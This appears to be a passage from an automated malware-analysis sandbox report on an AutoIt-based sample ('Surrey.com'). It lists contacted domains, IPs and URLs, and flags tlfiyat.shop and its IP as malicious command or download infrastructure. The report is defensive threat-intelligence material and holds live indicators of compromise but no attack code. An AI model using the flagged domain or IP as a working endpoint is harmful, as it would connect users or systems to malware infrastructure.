chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	142.250.186.110	true	false	high
a416.dscd.akamai.net	2.22.242.105	true	false	high
t.me	149.154.167.99	true	false	high
a-0003.a-msedge.net	204.79.197.203	true	false	high
c-msn-pme.trafficmanager.net	13.74.129.1	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
onedscolprdcus00.centralus.cloudapp.azure.com	13.89.178.26	true	false	high
play.google.com	172.217.18.110	true	false	high
a-0016.a-msedge.net	204.79.197.219	true	false	high
sb.scorecardresearch.com	18.245.60.76	true	false	high
www.google.com	142.250.65.164	true	false	high
tlfiyat.shop	5.75.209.106	true	false	high
googlehosted.l.googleusercontent.com	142.250.185.193	true	false	high
e28578.d.akamaiedge.net	2.23.227.216	true	false	high
assets.msn.com	unknown	unknown	false	high
r.msftstatic.com	unknown	unknown	false	high
OMTkTMNzXANwD.OMTkTMNzXANwD	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
browser.events.data.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/profiles/76561199819539662	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/codex-bing-chat.6e25fe85c86c209cb04f.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/nurturing-coach-mark.e0a347064ee12e08d080.js	false		high
https://sb.scorecardresearch.com/b2?rn=1737661217429&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=36CB6A348F62672B3E3A7F498E00663A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1737661224095&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_ad-service-base_dist_msnKVService_js-libs_ads-constants_dist_template-configs_infopane_D-a5042d.2a8a605c0e73e437d940.js	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/background-gallery.ca616469ff36f5744808.js	false		high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1737661224493&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://tlfiyat.shop/	true	Avira URL Cloud: malware	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/card-actions-wc.2e0b8bb8c51bf53bcad3.js	false		high
https://ntp.msn.com/bundles/v1/edgeChromium/latest/web-worker.c7d27109b98aa5c6a189.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/vendors.a8bc96a9c4710d87d862.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000013.00000002.2816890818.0000203400780000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/_default	QuotaManager.26.dr	false		high
http://anglebug.com/4633	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.26.dr	false		high
https://tlfiyat.shop/s5i.	Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://deff.nelreports.net/api/report	Reporting and NEL.27.dr	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000013.00000003.2737539319.00002034010AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737485887.000020340105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737351716.000020340104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739027413.0000203400C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739087965.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818005553.000020340098F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2738173349.0000203401078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739149480.0000203400FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737577278.0000203400F74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739058394.0000203400EB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	manifest.json0.26.dr	false		high
https://docs.google.com/spreadsheets/?usp=installed_webapp$	chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tlfiyat.shop/W;	Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/presentation/ogl	chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/	chrome.exe, 00000013.00000002.2817962065.0000203400960000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2ation.Result	chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000013.00000003.2752212784.000020340139C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/async/ddljson?async=ntp:2me/	chrome.exe, 00000013.00000002.2818424523.0000203400A24000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.26.dr	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000013.00000003.2737539319.00002034010AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737485887.000020340105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737351716.000020340104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739027413.0000203400C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739087965.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818005553.000020340098F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2738173349.0000203401078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739149480.0000203400FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737577278.0000203400F74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739058394.0000203400EB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tlfiyat.shop/s	Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.26.dr	false		high
http://www.autoitscript.com/autoit3/X	Surrey.com, 0000000D.00000000.2392026458.0000000000A15000.00000002.00000001.01000000.00000007.sdmp, Nec.9.dr, Surrey.com.2.dr	false		high
https://issuetracker.google.com/161903006	msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tlfiyat.shop/X5	Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	Surrey.com, 0000000D.00000002.3587128325.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818984050.0000203400B4C000.00000004.00000800.00020000.00000000.sdmp, v37ycb.13.dr	false		high
http://anglebug.com/6929e-data	chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/Chartk3	chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815164149.0000203400504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816890818.0000203400780000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815854722.00002034006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.27.dr	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000013.00000002.2812568228.0000203400013000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815164149.0000203400504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816890818.0000203400780000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tlfiyat.shop/O	Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tlfiyat.shop/k	Surrey.com, 0000000D.00000002.3592597038.0000000006E8A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/8215e4	chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/dogl	chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816414698.0000203400718000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000013.00000003.2739315169.0000203400D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733873305.0000203400D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2732458592.0000203400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2730283842.000020340049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733206216.0000203400C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2742673280.0000203400C44000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816414698.0000203400718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com	000003.log4.26.dr	false		high
https://google-ohttp-relay-query.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/&	chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	chrome.exe, 00000013.00000003.2752212784.000020340139C000.00000004.00000800.00020000.00000000.sdmp, chromecache_377.21.dr, chromecache_380.21.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	Surrey.com, 0000000D.00000002.3594564463.0000000007122000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000013.00000003.2737539319.00002034010AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737485887.000020340105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737351716.000020340104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739027413.0000203400C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739087965.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818005553.000020340098F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2738173349.0000203401078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739149480.0000203400FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737577278.0000203400F74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739058394.0000203400EB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://labs.google.com/search?source=ntp	chrome.exe, 00000013.00000002.2814805075.000020340040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2750403309.000020340141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2752834457.0000203401364000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tlfiyat.shopW	Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000013.00000003.2760971322.0000489800980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2723381493.000048980071C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5901	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tlfiyat.shop#	Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://anglebug.com/7162	chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5906	chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2881391988.00004D94025A0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2517	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/MergeSession	msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4937	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tlfiyat.shop/;8	Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://issuetracker.google.com/166809097	msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6651X	chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lens.google.com/v3/upload	chrome.exe, 00000013.00000003.2724128756.0000489800880000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3832	chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-0.corp.google.com/	manifest.json0.26.dr	false		high
https://permanently-removed.invalid/Logout	msedge.exe, 00000018.00000003.2879923629.00004D9402488000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2879645585.00004D9402484000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/upload	chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/?usp=installed_webapp	chrome.exe, 00000013.00000002.2819115981.0000203400BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816936463.000020340079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6651	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.broofa.com	chromecache_377.21.dr	false		high
https://anglebug.com/4830	chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
2.22.242.105	a416.dscd.akamai.net	European Union	20940	AKAMAI-ASN1EU	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
2.23.227.216	e28578.d.akamaiedge.net	European Union	8781	QA-ISPQA	false
18.238.49.74	unknown	United States	16509	AMAZON-02US	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.74.129.1	c-msn-pme.trafficmanager.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.200.88.6	unknown	United States	16625	AKAMAI-ASUS	false
13.89.178.26	onedscolprdcus00.centralus.cloudapp.azure.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	a-0016.a-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.18.110	play.google.com	United States	15169	GOOGLEUS	false
18.245.60.76	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
